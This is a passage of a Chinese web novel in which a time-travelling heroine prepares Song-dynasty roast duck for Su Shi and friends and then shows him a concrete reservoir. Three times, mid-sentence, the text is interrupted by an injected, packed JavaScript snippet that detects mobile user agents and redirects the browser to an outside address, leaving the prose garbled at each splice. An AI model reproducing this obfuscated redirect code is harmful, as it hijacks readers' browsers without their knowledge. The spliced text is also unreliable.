王文茵也不客气，指着周婆子拔干净毛的鸭子，“那就麻烦婶子帮忙清理鸭子吧。首先第一步便是要将鸭子的内脏都掏出来，不过为了烤鸭的外形美观是绝对不能开膛破肚的。”王文茵拿起剪刀在鸭子尾部横着剪开，“从尾部这里将内脏小心掏出来即可。”【注1】 在王文茵的指点下，张二嫂将清水从鸭鼻子这里灌进去冲洗干净，清理完毕去掉鸭掌和鸭翅。随后在脖颈和胸口处各划开一刀，这么做的目的是为了防止油水流到鸭胸上影响外观和口感。最后从尾部塞一根芦苇杆子到鸭肚子里吹气，让鸭子皮肉分离，这样烤出来的鸭子皮会更脆。【注1】 “充气完后便要将鸭子吊挂起来，将钩子穿过鸭脖子便成。”王文茵用事先准备好的挂钩穿进鸭脖子，让张二嫂提着悬在灶台上，“接着第二步便是烫胚，目的是为了让鸭子表皮紧致，这样烤出来的鸭子才饱满好看。”【注1】 张二嫂单手提拎着沉甸甸的鸭子，道：“我算是明白了，小娘子做的吃食不仅味道好，连模样也得好看，是不是？” “说对了！”王文茵眯眼笑道：“所谓色香味俱全便是用来形容食物的色泽、香气和味道一应俱全的意思。美食美食，不仅味要美，形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077303|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和气也是不可或缺的，权因人是用五感来品尝美食的。” 张二嫂似懂非懂点点头，手臂渐渐有些酸软，吃力地挤出一丝笑来，“小娘子说的是呢，美味光是看着就赏心悦目了，再添上诱人的香气，那还不得把人肚子里的蛔虫都勾出来。” 王文茵注意到张二嫂憋得发红的脸和颤抖的手臂，看了看四周，从院子里拿来晾衣服的竹竿架在灶台上方，让张二嫂将鸭子挂在了竹竿上。 “烫胚便是将烧开的热水浇淋到鸭子身上，每个部位都要烫到，烫的时候数四下，不能烫太久。”【注1】 张二嫂哎了一声，用葫芦瓢舀起一勺热水浇淋在鸭身上，心里默默数了四下。 神奇的事情出现了，刚刚还皱皮的鸭子经滚烫的热水浇淋后鸭皮瞬间收紧，仿佛满脸皱纹的老太太回春成了皮肤紧致满脸胶原蛋白的少女，皱皮的鸭子摇身一变成了一只大肥鸭。【注1】 张二嫂烫胚的同时，王文茵也没闲着，她要调制一种涂抹在鸭子表皮上的灵魂挂浆水，抹了这层挂浆烤出来的鸭皮才能达到“酥而不腻”的效果。 现代人做“酥不腻”烤鸭，挂浆的主要材料是吉士粉、小麦淀粉、土豆淀粉、玉米淀粉、小苏打、麦芽糖、蜂蜜和清水。但在宋朝，土豆和玉米还没传入中国，而像吉士粉、小苏打这类现代食品工业产物，更是闻所未闻，所以王文茵必须用其他东西来平替这些材料。【注2】 没有土豆淀粉和玉米淀粉，那就用绿豆淀粉来代替。小苏打也就是碳酸氢钠，可以用天然碱来代替，先前做肥皂用的草木灰水清液便是可食用的碱水。【注3】 不过这次王文茵打算用碱藻来代替小苏打。碱藻其实是一种海藻，将它晾晒干后研磨成细粉便跟小苏打一样富含碳酸氢钠，用来做小苏打的平替再适合不过。【注3】 至于吉士粉，也就是卡仕达粉，是一种由疏松剂、稳定剂、增稠剂、食用香精、食用色素、奶粉和淀粉组合而成的食用预拌粉，用在需要酥炸的菜肴上可以增加松脆感。若是将吉士粉与牛奶或者水混合搅拌均匀成粘稠的酱便是卡仕达酱（吉士酱）。【注4】 既然吉士粉加水可以成为卡仕达酱的平替，那就意味着自制卡仕达酱也可以替代吉士粉。而吉士粉的主要成分中的疏松剂，其实就是生物酵母，用来发面的，使烘烤后的面包形成蓬松有弹性的蜂窝状。做面食和面包之时加入小苏打也有跟疏松剂同样的效果，那就意味着碱藻也可以替代疏松剂。【注5】 至于吉士粉的其他一些成分，比如稳定剂、增稠剂、食用香精和色素这些对“酥不腻烤鸭”并无太大作用，不要也罢。【注4】 搞清楚原理以后，王文茵便用鸡蛋、麦芽糖、牛乳和绿豆淀粉按比例加入铜锅中，混合均匀后放到炉子上用小火加热，在这过程中需要不断搅拌混合液体直至变成粘稠的卡仕达酱。【注6】 刚出锅的卡仕达酱还没来得及放凉便有一位嗅觉灵敏的吃货闻风而至。 “小娘子又在做什么好吃的？”赵元宁嗅着鼻子钻进了灶房。 61. 第六十一章 烤鸭配方 王文茵怀疑赵元宁的鼻子比雷达还灵敏，不然他是如何在十里外的朱仙镇嗅到卡仕达酱的香味的？ “你是长了狗鼻子吗？” 面对王文茵的揶揄，赵元宁故意板起脸道：“你在骂我是狗吗？” “不敢。”王文茵嘻笑道：“可为何每次我们做吃的你都来的这般及时呢？” 赵元宁故作惊讶：“不是小娘子你邀请我来品尝‘酥不腻烤鸭’的吗？” “我记得我是让你明日才过来的，难道是我记错了？”王文茵甩甩头，已经记不清自己到底说的是哪一天了。 赵元宁这才憋不住笑出声来：“骗你的！你的确是让我明日再过来，不过今日正好有个好消息，我等不及便过来寻你们了。” 幼稚！王文茵暗暗撇嘴。 赵元宁大部分时候表现得老成持重，主要是为了跟人做生意打交道不吃亏，但私底下在相熟的人面前就会把真实的那一面释放出来。 “郎君是得了什么好消息？”张二嫂将刚烫完胚的肥鸭晾到一旁的竹竿上，笑眯眯回头问道。 赵元宁兴奋道：“今早庄宅牙人跑来镇上同我说有间不错的店铺急着要转租，我便立刻与他一道回了趟汴京，特地过去看了那间铺子。店铺就在内城左军第一厢太平坊内，地理位置很不错，周围都是达官显贵的宅邸，听闻前朝宰执王介甫相公就曾在那附近住过。”【注1】 北宋东京内城分为4厢46坊，各厢里坊之间面积差别较大，坊内既有民舍，也有衙署、官营手工业作坊等公共机构，形成官私杂处的局面。而皇城南御街两侧则开启了“千步廊”中央六部衙署规划的先河。内城左军第一厢位于汴京南北御街之东，宣德门至曹门大街以南，共计20坊，坊内官府和商业店铺交错密布，实属汴京城内的黄金地段。【注1】 祖父王安石为宰执的时候先帝神宗曾在太平坊内御赐了一座府邸给他们一家居住，那个时候王文茵尚未出世，对此并无印象。后来随祖母吴氏来京路过这座府邸时，祖母随口提了一嘴，王文茵也只是掠过一眼，没什么特别的感觉。只不过因她父亲王雱是在这座府邸过世，偶尔想起便会有些怅然，仅此而已。 赵元宁从胸襟内掏出一张平面图来展示给王文茵她们看：“我估摸着你们也不方便过去看，便绘了一张平面布局图回来供你们参考。” 赵元宁先前看过王文茵绘制的平面布局图，觉得很直观，方便不能亲自前去实地考察的人了解房屋的构造详情。于是便花钱找了个将作监的小官员帮忙测绘了店铺的平面图，方便王文茵改造设计。 “有劳了，多谢郎君费心。”王文茵福了一福，从赵元宁手中接过图纸看了起来。 说是店铺，其实是一座一进的四合院，前面临街的两层小楼用来做美容院，后方内院两侧是东西厢房，当员工宿舍再适合不过，北面还有一排耳房，可用做杂物间、储藏室、灶房和茅房。 “地理位置确实不错，附近住的都是豪门显贵的娘子，她们有钱有闲平日里正愁无处打发时间，来美容院做按摩保养再适合不过。” 张二嫂也凑过来看，“哟，这院子好，一看就是块风水宝地，做生意定能风生水起，财源广进。” 王文茵噗嗤一笑：“婶子，你什么时候学会看风水了？” 张二嫂嘿嘿笑，“小娘子别取笑我了，我哪懂什么风水呀，我啊就是看眼缘。你看前面这两层小楼多气派，中间这院子多宽敞，还有东西两侧的厢房多敞亮，就是后面一排耳房也很齐整，这样的合院谁看了不说好？” “话糙理不糙，二婶子说的在理。”赵元宁笑问：“小娘子觉得如何？” “我没意见，既然婶子觉得好，我看就定下吧。”王文茵乐得做甩手掌柜，将图纸收拢放到一旁干净的案几上，对张二嫂说：“回头我把设计方案绘制好了再交于婶子你，到时候让穆叔跟阿弟同你一道去京城里装修。” “哎，好，我晓得的，小娘子就放心吧，我一定给你整好。”装修的整个流程张二嫂已经熟稔，无须王文茵指点就能应付自如。 赵元宁很高兴，“我就知道你们会满意，所以提前跟屋主下了定金，免得被旁人捷足先登。” “多谢郎君费心，不过今日可没烤鸭给你吃，只能邀你明日再来。”王文茵打趣道。 赵元宁的眼睛却盯着盆中的卡仕达酱不放，“这是什么好东西？闻着老香了。” 王文茵见他实在眼馋，便用勺子拨了一小碗与他尝尝，“这叫卡仕达酱，我准备拿来做抹在鸭子外皮上的挂浆水的材料。” 赵元宁接过小碗，用勺子刮起一小坨来放进嘴里品咂，两只眼睛倏地亮了，不可思议道：“这么好吃的酱糊糊居然只是用来抹在烤鸭子上的调料？” “卡仕达酱是一种基础酱料，原料就是鸡蛋、麦芽糖、牛乳和绿豆淀粉，你觉得好吃也是正常。”王文茵道。 “连挂浆都这么好吃，那这烤鸭得多好吃啊！”赵元宁肚子里的蛔虫已经苏醒，正蠢蠢欲动，觍着脸道：“小娘子何不今日就将这鸭子烤了？” “今日可不成，这鸭子挂浆后还得晾胚，至少一个晚上才能烤炙。” 王文茵着手调制脆皮糖色皮水。她先将麦芽糖、蜂蜜和清水按比例混合，加热至微微冒泡，与卡仕达酱、小麦淀粉、绿豆淀粉、碱藻混合成浓稠的液体，在搅拌均匀后将挂浆浇淋在充气的鸭子身上。随后在赵元宁的帮助下，挂过浆的鸭子被晾在了灶房外头屋檐下的阴凉通风处。【注2】 翌日一早，王文茵迫不及待爬起来望着屋檐下四只光溜溜、白胖胖的肥鸭，已经开始幻想吃进嘴里那种疏松脆嘎，满嘴油渣香气却酥而不腻的美妙滋味了。 “你在欣赏自己的杰作吗？”文安世一进来便看到王文茵像只馋猫盯着鱼干那般垂涎欲滴的模样，暗暗好笑。 王文茵回眸嗔他一眼，哼道：“等会儿你尝到烤鸭的滋味就懂了。” 文安世倒是不怀疑王文茵的厨艺，只是他一贯不爱吃鸭子，老觉得鸭子有股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15081999|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膻味，一闻到就想呕，是以对烤鸭并无多高的期待。 不过他还是捧场道：“那我便浅浅期待一下。” 小样！王文茵心说，你别吃的停不下来。 文安世好笑地看着她像只忙碌的小蜜蜂，飞来飞去，又是指挥人搭烤炉，又是忙着起火烧果木炭，而那个烤炉也十分特别。 烤鸭炉分为三部分，最下面是三足底座，中空部分用来放果木炭盆，周围一圈是接鸭油的。中间是圆筒状的大铁罩子，侧面开一扇小门，用来添加炭火，顶部带一圈铁杆，用来围挂鸭子。最上面则是梯形的顶，顶上再加一只带拎环的盖子，盖子上面有个拨片的小孔，拨开可观察烤炉内部的情况。【注2】 他好奇地走近了细看，“这烤炉是从何处找来的？” “哎呀，七衙内，这烤鸭炉子是我们小娘子自己画图设计叫铁匠打造的。”张二嫂将带手柄的铁制炭盆放入烤鸭炉内，待炉内温度上升后再将鸭子一只只放进去，沿着铁圈挂好。“小娘子，这鸭子要烤多久呀？” “烤这鸭子得先用低温烘烤大约半个时辰（相当于现代一个小时），慢慢将油脂哔出来，随后再将温度调高后炙烤脂肪和表皮，待烤到油脂完全分离，鸭子表面呈枣红色，稍一触碰即碎的程度便算是可以了。”【注2】 王文茵时不时掀开烤炉顶端的拨片观察烤鸭的色泽。 张二嫂在王文茵的指挥下不断调整炉内的火力，不禁好奇问道：“小娘子是如何得知该什么时候加炭，什么时候去炭的？” “这个嘛……全凭感觉。”王文茵道：“婶子，你再加点炭，我估摸着再烤一盏茶的功夫（约五分钟），给鸭子再上点色就差不多了，这样烤出来的鸭子外皮口感会更加酥脆。”【注2】 文安世抿嘴笑笑，他早已习惯她不按牌理出牌的行事风格，甚至暗自希望她能永远如此率性自如。 鸭子还没出炉，远道而来的老饕已经闻着味儿闯了进来，嘴里还嚷着：“酥不腻烤鸭出炉了吗？” 文安世诧异回眸，赫然看见一袭青衫洒脱不羁的苏轼踏着四方步从外面走进来。 他赶紧上前行礼问候：“见过苏大人。” 苏轼愕然，仔细打量文安世，眼前这少年虽未及冠，却生得眉目舒朗，器宇轩昂，面相看着眼熟，却记不起在何处见过，于是叉手还礼道：“敢问小郎君贵姓？” 文安世礼貌应答：“免贵姓文，家中排行行七。” 苏轼终于想起来了，“小郎君可是文相公府上的七衙内？” “正是。”文安世恭谦道。 苏轼心里一咯噔，疑惑的眼神看向王文茵，“你们，你……为何会在此处？” 没等文安世回答，王文茵便上前解释道：“苏大人，文老夫人的山庄便在丰收村，七衙内是来此处陪老夫人休养生息的。” “原来如此——”苏轼看看王文茵，再看看文安世，心里缓缓冒出一个问号，捋须颔首试探道：“如此说来，你们二人早已熟识？” 62. 第六十二章 君子之交 王文茵顿时语塞，当着文安世的面她不知该如何同苏轼解释他们之间的关系，说不熟吧好像与事实不符，他们分明已经是中国合伙人了，但要说很熟嘛又显得他们好像很暧昧，支吾半天含糊道：“还……行吧，认识也没多久。” 文安世看她一眼，抿抿嘴角，故意道：“苏大人好眼力，某与王小娘子确实还挺熟的，我们合伙投资了一个农场。” 王文茵大囧，心里暗骂文安世故意在苏轼面前拆她的台，眼角余稍恨恨乜他一眼。 文安世权当没看见，兀自得意。 苏轼一双慧眼在二人身上转来转去，心底已经有了答案，捋须一哂：“什么样的农场？方便带我参观一下？” 王文茵笑道：“自是方便，待会儿品尝完烤鸭我便带苏大人前去参观。” 说到烤鸭苏轼的口水都快流下来了，深吸一口悬飘在空气中的烤鸭香味，陶醉道：“我的鼻子告诉我，烤鸭已经出炉了。” 王文茵噗呲一笑，“苏大人好灵的鼻子，烤鸭确实已经出炉，正等着您上桌享用呢。” “那还等什么？” “有请苏大人——” 王文茵将苏轼请到早已摆好餐桌的灶房内：“今日只能委屈苏大人在灶房内用膳了，实在是庵内地方有限，余下的屋子都被改造成了香料工坊的生产车间。” “不碍事，不碍事，只要有好吃的，在哪儿吃都一样。”苏轼撩起一角袍子大踏步往灶房走去，回头略感诧异问道：“什么香料工坊？” 王文茵刚想回答，门外又进来一个人，赵元宁风尘仆仆杀将进来，嘴里嚷着：“我来晚了，烤鸭可还有剩的？” 苏轼回首打量阳光开朗的赵元宁，低声问王文茵：“这又是何人？” 王文茵掩嘴道：“这位是赵太医府上的四郎君。” 苏轼惊讶不已，“阿茵，你又是如何同赵太医府上扯上关系的？” “赵四郎呀，嘿嘿。”王文茵尬笑：“他也是我的生意伙伴。” 苏轼惊得下巴都快掉下来了，张口结舌半晌才打趣道：“阿茵竟如此能干，原来你早已不是金陵半山园那个不谙世事的小女娃了啊！” 王文茵顿感脸上又羞又臊，眼角余光恰好瞥见某人正好笑地看着她，心下更是窘迫，早知道会被苏轼揭老底就不应该把其他人也叫来看她出糗。 文安世脸上扬起一抹促狭的笑，心说：原来你的闺名叫阿茵。 浑然未觉的赵元宁大咧咧上前来行礼问候，在王文茵的介绍下得知面前这位儒雅的中年人竟然是大名鼎鼎的苏子瞻苏大人，一脸惊诧莫名又激动不已的表情，别提有多丰富了。 赵元宁毕恭毕敬给苏轼行礼，“久仰苏大人大名，今日得见实属荣幸。” 别看赵元宁平日看着像个不拘礼节的闲散人士，好歹也是医学世家的传人，更何况他的父兄还在朝廷当医官，家中对礼数要求并不比朝中官员少一点半点，见过的当朝大员亦不在少数，行事风度自然不比文安世差多少。 “赵四郎有礼了。”苏轼乐呵呵地还礼，暗中将两个同样俊秀的郎君放在一起比较了一番，随后眼神戏谑地看了王文茵一眼。 王文茵大囧，生怕苏轼嘴快说出什么让大家都尴尬的话来，一个劲的给他使眼色。 苏轼自动忽略，笑问道：“赵四郎怎会与我们阿茵合伙做起了买卖？” 我们阿茵？赵元宁心里一咯噔，听这口气莫非王小娘子同苏大人是亲戚？想到这里赵元宁不觉有些紧张。 “某同王小娘子乃是机缘巧合之下相识，在得知小娘子擅长调制合香后我便同她建议一道合伙做香料买卖。岂知小娘子非但精于香料，还能制作香皂、洗发水、沐浴露等洗护用品，于是我们便在朱仙镇上合资开了一间香料铺子，名为兴隆堂。” “兴隆堂？！”苏轼震惊莫名，看向王文茵的眼神越发变得不可思议，“鼎鼎大名的兴隆堂竞是阿茵你创办的？” 王文茵尬笑，她先前没把这件事告诉苏轼主要是不想表现得太高调，毕竟苏轼是长辈，她又怎好意思在长辈面前如此张扬。 但她没想到的是，苏轼并未对此表现出过多的惊讶，只在稍稍震惊过后捻须笑道：“我早就该想到的，以王兄的家教，阿茵又岂会是平凡之人。先前是我多虑了，生怕你们姐弟流落在外吃苦受难，如今看来你们姐弟若是跟我回去反而是要吃苦受罪呢。” 苏轼跟王安石一样，为官清廉，家中并未攒下多少银两，加上之前被贬谪，生活一度陷入穷困。这些事旁人虽然不清楚，王文茵却是了解的。她心里一暖，祖父母离开后她与阿弟便被亲人如敝屐般遗弃，反而是苏轼这个外人对他们伸出了援手，说要带他们回家，这份好意她怎会不感激。 “苏大人对我们姐弟的援手之恩又岂是金钱能衡量的，从今往后大人便是我们姐弟的至亲。”王文茵朝苏轼深深一福，声音微微发颤。 文安世愧疚不已，看向王文茵的眼神多了几分深意，原来她所表现出来的坚强只是一层自我保护的伪装，是用来掩饰她的不安和惶恐，她说自己喜欢钱，要赚很多很多钱，要知道钱才是一个失去倚靠的孤女能在这世上安稳立足的唯一靠山。 素来心大的赵元宁今日却变得异常敏感，他从文安世看向王文茵的眼神中捕捉到了一丝不寻常的情愫，隐隐有了危机感。 苏轼将王文茵扶起，赞许地看着她，调侃道：“王兄生前常因不爱洗澡被人诟病，想不到他的亲孙女却做起了洗护用品买卖，还打出了知名度，连我在汴京城内都有所耳闻，真是有趣极了。” 王文茵掩嘴笑道：“苏大人过奖了。” 苏轼转身看向赵元宁，见他眼神澄澈，面相坦荡，知道是个可靠之人。且赵太医父子的口碑素来不差，他家大郎虽是司马光提携进的太医院，但却从未听说过参与新旧党争，想来即便知道王文茵的身份也不会对她不利，便放下心来。 “光顾着说话都忘了今日来此的目的。”苏轼揉了揉肚子，戏谑道：“烤鸭呢？香喷喷的酥不腻烤鸭在哪儿？” 王文茵莞尔一笑，伸手一展，“烤鸭早已备好，正等着苏大人上桌呢，诸位这边请。” 王文茵将几人引入灶房，请上座，随后让张二嫂从烤炉里将一只色泽红润、肉质细嫩、焦香四溢的烤鸭用托盘装着捧了进来。 “啧，这烤鸭一看就好吃。”苏轼食指大动，他不是没吃过炙鸭，但却从来没见过谁家的烤鸭出炉以后如面前这只一般红润饱满、肥而不腻。 王文茵请在座众人噤声，随后周婆子上来当着众人的面片鸭，一刀下去只听见酥脆的咔哧声不绝于耳，苏轼同赵元宁这两吃货的唾液腺疯狂分泌，不顾形象地咕嘟咕嘟吞咽口水。 文安世则依旧矜持地端坐着，王文茵心想，这文家七衙内的偶像包袱还挺重的，美食当前居然不为所动，也是有点定力在身上。 张二嫂将蒸饼连同黄瓜丝、葱丝儿、山楂果条、甜面酱和麦芽糖一并放在餐桌上。 王文茵净手后亲自将烤鸭的片皮蘸上麦芽糖放在三人面前的碟子内，做了个请的手势：“诸位请先品尝烤鸭皮。” 苏轼夹起烤鸭皮放进嘴里，闭着眼享受烤鸭的脆皮在口腔中爆开芬芳四溢的油脂，连夸三声：“好！真好！实在好！” 赵元宁虽然很想吃，但却依礼等着苏轼先落筷后才跟着将烤鸭皮放进嘴里细细品鉴。唔……用果木炭火烤炙后的烤鸭皮充满油脂焦脆丰腴的美妙滋味，果然是名副其实的酥不腻啊，赵元宁感动得眼泪都快从嘴角掉下来了。 食客们陶醉的表演大概是对厨师最好的褒奖了，王文茵满足的目光从苏轼、赵元宁脸上掠过，投向文家七衙内。 素来不爱吃鸭子的文安世此时此刻已经被这一口酥不腻烤鸭彻底颠覆了感官，原来鸭子也可以这般美味，外脆里嫩、肥而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086056|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不腻，醇厚的味道不带一丁点儿鸭子的腥膻味。 他抬眼看向王文茵，与她视线对撞的一瞬间，抿嘴笑了笑，“果然美味至极。” 王文茵得意极了，脸上写着“我就知道你会沦陷”这几个字。 她伸出一双纤纤素手，将鸭肉蘸上甜面酱，连同黄瓜丝、葱丝和山楂果条一起卷进蒸饼内一一摆放到三人面前，做了个请的手势，“卷鸭饼是烤鸭比较传统的吃法。” 苏轼拿起卷鸭饼放进嘴里品鉴，摇头晃脑道：“葱丝和黄瓜恰到好处地中和了鸭肉的油脂，而山楂果条酸甜的口感又为味蕾增加了丰富的层次，妙啊，妙哉！” “苏大人不愧为本朝第一饕客。”王文茵笑道。 苏轼笑纳了，用手指点了点王文茵，“你这丫头越来越会拍马屁了。” “这怎么叫拍马屁呢，实话实说罢了，本朝上下还有谁能比苏大人更懂美食，更享受美食？”王文茵就算拍马屁也拍得理直气壮、恬不知耻。 所谓千穿万穿马屁不穿，苏轼闻言哈哈大笑，捋须自嘲：“那我便是本朝最孤独的美食家咯。” 文安世却道：“享受美食本就是最私人也最孤独的事，这世上怕是没有两个人的口味全然一样，独享又何尝不是一大乐事。” “说得好，哈哈，说得好！”苏轼顿觉胸中郁闷一扫而空，“人生得意须尽欢，阿茵，你这里可有酒？” 王文茵失笑，提醒道：“苏大人，此处乃是尼姑庵。” 苏轼一拍额头：“是我糊涂了，哎，这烤鸭如此美味，若是配上美酒那便是人间至味啊！” “苏大人若是想喝酒不妨请随我到山下庄子里去，家中祖母常年在地窖里备有醇酿，虽不是上等陈酿，倒也芳蕴四溢，适合小酌。”文安世盛情相邀。 苏轼虽然生性放荡不羁，但却并非不懂人情世故，他跟文彦博虽同属反对变法的守旧派，但平日素无往来，又经过乌台诗案的贬谪起落，早已不想跟任何党派人士有所牵连，便婉言谢绝道：“多谢七衙内盛邀，今日来得匆忙，多有不便，就不去庄子上叨扰文老夫人了，择日我再登门拜访。” 文安世自然知道其中缘由，便不再勉强，礼貌回道：“晚辈随时恭候苏大人到访。” 王文茵出来打圆场，对文安世道：“献给文老夫人的烤鸭已经出炉，鸭饼葱丝黄瓜等配料也已备齐，不如我让周阿婆随郎君一道去山庄现场为老夫人片鸭吃，可好？” “甚好！某替祖母谢过小娘子。”文安世行礼谢道，又对着苏轼作揖：“某先告辞，苏大人请留步。” 苏轼眯眼笑道：“七衙内走好，改日我们再相约小酌。” 王文茵同苏轼将文安世送到山门边，看着他离去的背影，苏轼突然冒出一句：“这文家七衙内人品倒是不俗，阿茵你觉得呢？” 虽然只是一面之交，同桌吃饭的露水情谊，苏轼却对文安世的评价颇高。 王文茵仔细想了想，这个文家七衙内虽然遵循礼制，在某些时候比较古板，却并非不通情理之人，对流民和底层百姓也有同情心，比之大部分官二代要好不知道多少，点头表示认同：“大人说的是，七衙内的确比寻常官宦子弟纯善许多。” 苏轼惊讶，“想不到阿茵竟对文家七衙内评价如此之高！” “我只是实话实说而已。”王文茵内心坦荡，自然有话直说：“先前山下的流民因为饥饿偷食了我们的米线，七衙内得知他们生活窘迫、饥寒难耐的真实处境后非但没让县衙抓捕他们归案，还以文老夫人的名义出钱出力为他们修建屋舍御冬，资助他们开垦荒地、修筑水利，这些不正好说明七衙内为人纯良、内心明净吗？” 苏轼这才恍然大悟，感叹道：“原来附近几座山头上开垦的梯田竟是文家出钱赞助的。” 王文茵点头：“大人可愿意随我去山上看看？” “当然！当然愿意！”苏轼欣然应邀。 63. 第六十三章 苏轼随着王文茵来到半山腰，此处距山顶不远，天然坳陷形成了一方凹坑。若遇雨天，山泉水暴涨，坑中便会蓄满雨水，但因水坑周边没有围挡，泉水便会顺着蜿蜒缝隙逐渐流失，到了旱季坑中更是再见不到一滴水，甚为可惜。 这山泉水经过层层过滤，口感比之河水更为甘洌，村民平日上山采摘野菜果子，路过水坑见有泉水时也会担一桶水回家饮用。只是山下本就有一条小河绕村经过，村民平时喝水浇地用的都是河水，即便泉坑枯竭他们也不太在意，反正到了雨季又会重新蓄满。 如今情况有所变化，流民开垦梯田无法将河水倒抽至山上灌溉，文安世在巡山途中发现了这处天然泉坑，从各方面来讲都特别适合作为灌溉用的蓄水池，便在此处用水泥混凝土做了围拢加固以防枯水期泉水干涸，再将竹子制成的竹笕预先埋入混凝土中，打开阀门即可将泉水通过竹笕向下面的梯田引水灌溉。【注1】 苏轼在看到这个不知是用什么材料修筑的蓄水池时既感惊喜又十分好奇，快步上前仔细观摩，还用手指抚摸水池的外沿，嘴里不住喃喃：“这是什么材料？竟然可以不用一块石头便将山泉雨水包围囤积起来而不渗漏？” “这种材料唤作水泥混凝土，是将砂子、石头子和水泥混合后搅拌在一起，经过一个月左右的养护期便会形成坚固耐用的筑体材料。”王文茵解释道：“而其中起主要作用的便是水泥。”【注2】 乌台诗案发生前，苏轼曾任徐州知州，有一年黄河决堤，梁山泊泛滥，暴涨的洪水汇聚到徐州城下。就在洪水即将冲毁城墙之际，苏轼带领禁军官兵修筑东南长堤，堵塞缺口以守护城墙，期间过家门而不入，最终保全了徐州城。洪水过去后，苏轼又向朝廷请求征调夫役增筑徐州旧城，修建木质护岸，以防来年洪水再度泛滥。【注3】 苏轼跟王安石虽然政见不同，但两人都是一心为民，造福百姓的好官，在地方任职的时候都为当地老百姓兴修水利，改善民生，这也是为什么王安石在乌台诗案中极力保下苏轼，最终双方冰释前嫌，引为知己的原因。 “这水泥如此之好，不知从何得来？”苏轼对这种从未见过的建筑材料简直爱不释手，水泥要是能广泛应用到民生水利、国防建设上一定能发挥更大的作用。 王文茵心虚胡诌道：“是我曾跟随祖父在乡野之地见匠人将石灰石、粘土、水淬矿渣、炉渣灰、和熟石灰按比例混合后烘干磨细，再经过高温煅烧后与石膏粉末混合而成水泥，用作建筑材料更为坚固耐用。只可惜当时匆匆一瞥，未及细问，我也并不清楚该如何调制水泥的配比，七衙内得知情况后便亲自动手将原材料按不同比例调制成品，经过反复试验最终找到了水泥的最佳配比。”【注2】 苏轼对王文茵的话深信不疑，王安石的为人他最清楚，当年王安石在鄞县当知县的时候为了了解当地百姓的真实情况，就经常实地走访、请教本地长者。在得知鄞县百姓贫穷的根源是缺水后，便下大力疏浚川渠、兴修水利工程，此举不但得到了全县老百姓的积极响应，还在朝廷引起了不小的反响。【注4】 王文茵将苏轼带到山顶上，指着几十个大小不一的水泥石墩子给他看，“这些便是七衙内亲自动手做的水泥混凝土石墩子试验品。” 苏轼自嘲般摇了摇头，“阿茵说的没错，文家七衙内的确与其他官宦子弟不可同日而语。以他的出身条件本可以靠家世祖荫混吃等死躺平度过一生，但他却偏偏要靠自己，关键是人家还这般努力，这叫我等无能的老朽该如何自处？” “苏大人何必妄自菲薄。”王文茵抿嘴笑道：“文家七衙内可是很崇拜大人您呢。” 苏轼捧腹大笑，用手指点了点王文茵：“阿茵，你可真会说笑。” 王文茵端正脸色抗辩：“大人，我说的是真的，不信大人可以自行去问七衙内。” 苏轼敛起笑容长叹一口气：“能得晚辈欣赏，我苏子瞻也不算太无能。” “大人从来就不是无能之辈，人生难免起落，不求事事顺心，但求无愧于心。” 王文茵的话犹如醍醐灌顶，苏轼低头喃喃自语：“……不求事事顺心，但求无愧于心。说得好啊，阿茵你活得比我可通透多了。” “在我眼里苏大人才是性情洒脱之人，热爱美食的人都是真正热爱生活的人。” 苏轼抚掌大笑，“阿茵你真的是一朵解语花，难怪七衙内看你的眼神与旁人不同，不会是另有深意吧？” 王文茵怕苏轼误会，赶忙解释：“大人，我同七衙内只是合伙投资农场，并无其他交集，他并不知道我的真实身份。” 苏轼扭头看她，“你确定他真的不知道你是何人？我看未必吧。” 王文茵愣是嘴硬：“那便是他自个儿猜到的吧，不过他既没说破，我就当他不知道。” 苏轼啧啧摇头，“你这就叫此地无银三百两。” 王文茵却不以为然：“大人有所不知，缩头乌龟虽则自欺欺人，却免去了出头鸟的风险，我不想给自己添麻烦，我只想安安静静赚点小钱，平平淡淡度过这一生。” 苏轼一愕，思忖之后深以为然，捋须笑道：“阿茵你小小年纪想得可比我透彻多了，不过你确定只是想赚点小钱？我看你投资这个又投资那个，怕不是要做汴京首富吧哈哈。” 王文茵认真想了想后，摇头，“我同阿弟身无分文流落到此地，最初的时候我只是想赚点钱养活自己和阿弟，所以一开始我选择将成本最低的早籼米做成鲜米粉同村民换粮食赚差价。制作鲜米粉虽然不难，但若是只有我同阿弟两人却也是做不起来的，正好福田院内有一帮同样走投无路的人，他们虽比不上身体康健的人，但帮着一起做米粉还是够用的。” “于是我便用我娘留给我的一 